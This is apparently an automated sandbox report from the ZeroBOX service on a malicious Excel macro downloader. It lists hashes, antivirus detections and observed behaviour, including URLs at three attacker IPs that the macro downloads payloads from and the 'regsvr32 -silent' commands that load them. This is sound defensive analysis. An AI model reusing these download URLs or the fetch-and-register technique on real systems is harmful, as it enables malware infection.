Favorites
Tools
Dr.Zero Chatbot
Notifications
Guide 2020-06-10
Version history 2020-06-10

latestReport
11.18 09:11
babababa.exe
11.18 09:11
Jagtfalkenes.vbs
11.18 09:11
windows_update.dll
11.18 09:11
nicko.exe
11.18 09:11
GHO%E9%95%9C%E5%83%8F%...
11.18 09:11
stories.exe
11.17 10:11
wwbizsrvs.exe
11.15 01:11
wwbizsrvs.exe
11.15 01:11
op.exe
11.15 01:11
msf.exe

Latest News
11.18 11:11
Report on DDoSia Malwa...
11.18 11:11
전통 공예의 새로운 접근, 'M-ART(...
11.18 11:11
Die Schattenseiten des...
11.18 10:11
호텔식 샤브샤브 뷔페 '샤브올데이', 동...
11.18 10:11
창원 노인주간보호센터 '수주간보호센터 창...
11.18 09:11
더조인, ‘J-VMP’ 우수조달제품 지정...
11.18 09:11
기숙통, 11월 기숙학원 추천 정보 무료 제공
11.18 09:11
IT Sicherheitsnews stü...
11.18 09:11
[AIS 2024 영상] 윤두식 이로운앤...
11.18 09:11
Samsung Jumps as Surpr...

Summary | ZeroBOX

1796250310-10042021.xls

VBA_macro Generic Malware Downloader MSOffice File

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Oct. 5, 2021, 4:52 p.m.	Oct. 5, 2021, 4:54 p.m.

Size	129.5KB
Type	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Test, Last Saved By: Test, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 18:17:20 2015, Last Saved Time/Date: Mon Oct 4 08:34:12 2021, Security: 0
MD5	`1f4a448f535f2a3657dfef39beb4a662`
SHA256	`0a8b0b423e864ae0c19cbe56b135d804b91516bb9b633d889c315c757bfd3930`
CRC32	`5DC7238C`
ssdeep	`3072:Sk3hOdsylKlgxopeiBNhZFGzE+cL2kdAxc6YehWfGdtUHKGDbpmsii/+u6ssC06+:Sk3hOdsylKlgxopeiBNhZF+E+W2kdAxX`
Yara	Contains_VBA_macro_code - Detect a MS Office document with embedded VBA macro code [binaries] Generic_Malware_Zero - Generic Malware Microsoft_Office_File_Zero - Microsoft Office File Microsoft_Office_File_Downloader_Zero - Microsoft Office File Downloader

EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office15\EXCEL.EXE" C:\Users\test22\AppData\Local\Temp\1796250310-10042021.xls
1608
- regsvr32.exe regsvr32 -silent ..\Celod.wac
  2304
- regsvr32.exe regsvr32 -silent ..\Celod.wac1
  2280
- regsvr32.exe regsvr32 -silent ..\Celod.wac2
  2512

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
188.119.113.3	Active	Moloch
190.14.37.165	Active	Moloch
5.196.247.11	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

HTTP traffic contains suspicious features which may be indicative of malware related traffic (2 events)

suspicious_features	Connection to IP address				suspicious_request	GET http://190.14.37.165/44474.7033944444.dat
suspicious_features	Connection to IP address				suspicious_request	GET http://5.196.247.11/44474.7033944444.dat

Performs some HTTP requests (2 events)

request	GET http://190.14.37.165/44474.7033944444.dat
request	GET http://5.196.247.11/44474.7033944444.dat

Allocates read-write-execute memory (usually to unpack itself) (9 events)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Oct. 5, 2021, 4:52 p.m.	process_identifier: 1608 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6bf98000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 5, 2021, 4:52 p.m.	process_identifier: 1608 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6bb8e000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 5, 2021, 4:52 p.m.	process_identifier: 1608 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x07dc7000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 5, 2021, 4:52 p.m.	process_identifier: 1608 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x07dc7000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 5, 2021, 4:52 p.m.	process_identifier: 1608 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x066b4000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 5, 2021, 4:52 p.m.	process_identifier: 1608 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x066b4000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 5, 2021, 4:52 p.m.	process_identifier: 1608 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x066b4000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 5, 2021, 4:52 p.m.	process_identifier: 1608 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x066b4000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 5, 2021, 4:53 p.m.	process_identifier: 1608 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6af42000 process_handle: 0xffffffff	1	0	0

Creates a suspicious process (3 events)

cmdline	regsvr32 -silent ..\Celod.wac2
cmdline	regsvr32 -silent ..\Celod.wac
cmdline	regsvr32 -silent ..\Celod.wac1

File has been identified by 6 AntiVirus engines on VirusTotal as malicious (6 events)

DrWeb	Exploit.Siggen3.20971
Cyren	X97M/Downldr.TS.gen!Eldorado
ESET-NOD32	VBA/TrojanDownloader.Agent.WSI
TrendMicro-HouseCall	TROJ_FRS.VSNTJ421
Kaspersky	UDS:Trojan-Downloader.MSOffice.SLoad.gen
McAfee	X97M/Downloader.lm

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Oct. 5, 2021, 4:52 p.m.	process_identifier: 1608 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x7ef60000 process_handle: 0xffffffff	1	0	0

Communicates with host for which no DNS query was performed (3 events)

host	188.119.113.3
host	190.14.37.165
host	5.196.247.11

Network communications indicative of a potential document or script payload download was initiated by the process excel.exe (3 events)

Time & API	Arguments	Status	Return	Repeated
URLDownloadToFileW Oct. 5, 2021, 4:53 p.m.	url: http://190.14.37.165/44474.7033944444.dat stack_pivoted: 0 filepath_r: ..\Celod.wac filepath: C:\Users\test22\Celod.wac		2148270088	0
URLDownloadToFileW Oct. 5, 2021, 4:53 p.m.	url: http://5.196.247.11/44474.7033944444.dat stack_pivoted: 0 filepath_r: ..\Celod.wac1 filepath: C:\Users\test22\Celod.wac1		2148270088	0
URLDownloadToFileW Oct. 5, 2021, 4:53 p.m.	url: http://188.119.113.3/44474.7033944444.dat stack_pivoted: 0 filepath_r: ..\Celod.wac2 filepath: C:\Users\test22\Celod.wac2		2148270085	0

One or more non-whitelisted processes were created (3 events)

parent_process	excel.exe				martian_process	regsvr32 -silent ..\Celod.wac2
parent_process	excel.exe				martian_process	regsvr32 -silent ..\Celod.wac
parent_process	excel.exe				martian_process	regsvr32 -silent ..\Celod.wac1

Connects to an IP address that is no longer responding to requests (legitimate services will remain up-and-running usually) (1 event)

dead_host

188.119.113.3:80